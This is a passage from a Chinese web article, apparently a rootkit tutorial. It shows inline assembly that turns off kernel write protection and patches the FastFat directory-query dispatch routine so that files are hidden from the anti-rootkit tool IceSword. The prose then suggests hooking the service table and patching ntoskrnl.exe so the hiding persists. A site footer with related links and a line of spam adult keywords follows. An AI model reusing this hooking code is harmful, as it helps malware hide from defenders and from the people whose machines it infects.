            mov eax, [edi+0x68]
            mov OldFatQueryDirectoryDispatch, eax
            popad
        }

    
            _asm
        {
            CLI                  
            MOV    EAX, CR0      
            AND EAX, NOT 10000H
            MOV    CR0, EAX      
        }

              _asm
        {
            pushad
            mov edi, OldFatQueryDirectoryDispatch
            mov eax, [edi]
            mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax
            mov ax, [edi+4]
            mov word  ptr ResumCodeFatQueryDirectoryDispatch[4], ax
            
            mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68
            lea edi, NewFatQueryDirectoryDispatch
            mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi
            mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3

            mov edi, OldFatQueryDirectoryDispatch
            mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
            mov dword ptr[edi], eax
            mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
            mov word ptr[edi+4], ax
            popad
        }


            _asm
        {
            MOV    EAX, CR0    
            OR    EAX, 10000H    
            MOV    CR0, EAX          
            STI                  
        }


        
        }

        return ( NtfsStatus & FastFatStatus );  

}
以上代碼只能實(shí)現在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務(wù)表中的函數,也可以在上面構造新的分派函數中增加一些選擇項就是了。但是記得hook服務(wù)表中的函數別忘了把構造后的數據寫(xiě)入otoskrnl.exe中,免得IS啟動(dòng)時(shí)失效。


八、關(guān)于端口:

    感覺(jué)是該停止的時(shí)候了,如果把這個(gè)也搞出來(lái)并且本文被灰鴿子作者之流A進(jìn)他的作品的話(huà),那就違背我的本意并且我的心也會(huì )也會(huì )難受的。因此就在這里止步吧! 呵呵,今年我想要學(xué)的東西,想要做的事情也都做完了??梢院煤没厝ミ^(guò)年了。爽??!最后祝各位圣誕快樂(lè )!特別時(shí)那些他鄉的游子。記得打個(gè)電話(huà)回去問(wèn)候喲!
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
Windows Kernel Exploitation Notes(一)——HEVD Stack O...
OllyDBG破解入門(mén)實(shí)例(圖)_3
如何寫(xiě)一個(gè)簡(jiǎn)單的病毒程序
一個(gè)簡(jiǎn)單的C++程序反匯編解析
【代碼真相】函數調用 堆棧 轉載 - liangxiufei - 博客園
OllyDBG 入門(mén)系列(四)-內存斷點(diǎn)
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久